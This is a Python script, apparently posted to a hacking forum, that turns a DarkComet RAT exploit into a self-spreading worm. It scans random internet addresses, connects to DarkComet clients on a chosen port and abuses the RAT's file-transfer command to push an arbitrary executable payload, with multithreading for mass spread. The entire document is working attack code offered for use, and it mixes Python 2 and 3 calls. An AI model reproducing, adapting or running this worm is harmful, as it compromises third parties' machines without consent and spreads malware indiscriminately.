Darkcomet worm, modded by Freak/Fl0urite

# DarkComet RAT - Exploiter
# written by Slayer616
# modified by Fl0urite/Freak (THE EXPLOIT IS NOT MINE I JUST MADE IT A WORM)

# if you like this worm feel free to +rep me http://www.hackforums.net/member.php?action=profile&uid=2209711

# Thanks to: Opcodez, Zacherl, steve1020, 2sly, Protocol, all other friends/coders/supporters
import socket
import os
import random
from threading import Thread
print("-----------------------------------------------------------")
print("DarkComet RAT Worm")
print("Coded by Slayer616, modded by Freak/Fl0urite")
print("-----------------------------------------------------------")
def Worm(sPort,sFile):
        while 1:
                sIP=GenerateIP()
                if os.path.exists(sFile):
                    bLen= os.path.getsize(sFile)
                    if bLen < 8096:
                        if sPort.isdigit():
                            print("Connecting to %s on Port %s" % (sIP,sPort))
                            sSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                            try:
                                sSock.connect((sIP, int(sPort)))
                                print("Connected to Remote PC!")
                                sData = str(sSock.recv(1024),'ASCII')
                                if sData == "IDTYPE":
                                    print("Valid Client! Now sending request!")
                                    sSock.send(bytes("TRANSFERupnp.exe|DLFILE|562|7","ASCII"))
                                    sSock.recv(1024)
                                    sData = "Size:%s" % (str(bLen))
                                    sSock.send(bytes(sData,"ASCII"))
                                    sSock.recv(1024)
                                    f = open(sFile,"rb")
                                    sData = f.read()
                                    f.close()
                                    sSock.send(sData)
                                    sSock.close()
                                    print("Finished! Now wait until Client.exe restarts!")
                                else:
                                    print("This is not a valid DarkComet Client!")
                            except:
                               print("Couldnt connect to Remote PC!")
                        else:
                            print("Port is not a valid Integer!")
                    else:
                        print("Payload is too large! Use one with less then 8Kbyte!") #grammer nazi
                else:
                    print("File not found!")
def GenerateIP():
    return str(random.randrange(0,255))+"."+str(random.randrange(0,255))+"."+str(random.randrange(0,255))+"."+str(random.randrange(0,255))

def Main():
    sPort=raw_input("Darkcomet Port: ")
    sFile=raw_input("Payload File: ")
    threads=int(raw_input("Threads: "))
    print("Starting threads...")
    for i in range(0,threads):
        Thread(target=Worm, args=(sPort,sFile)).start()
    print("Started threads!")

Main()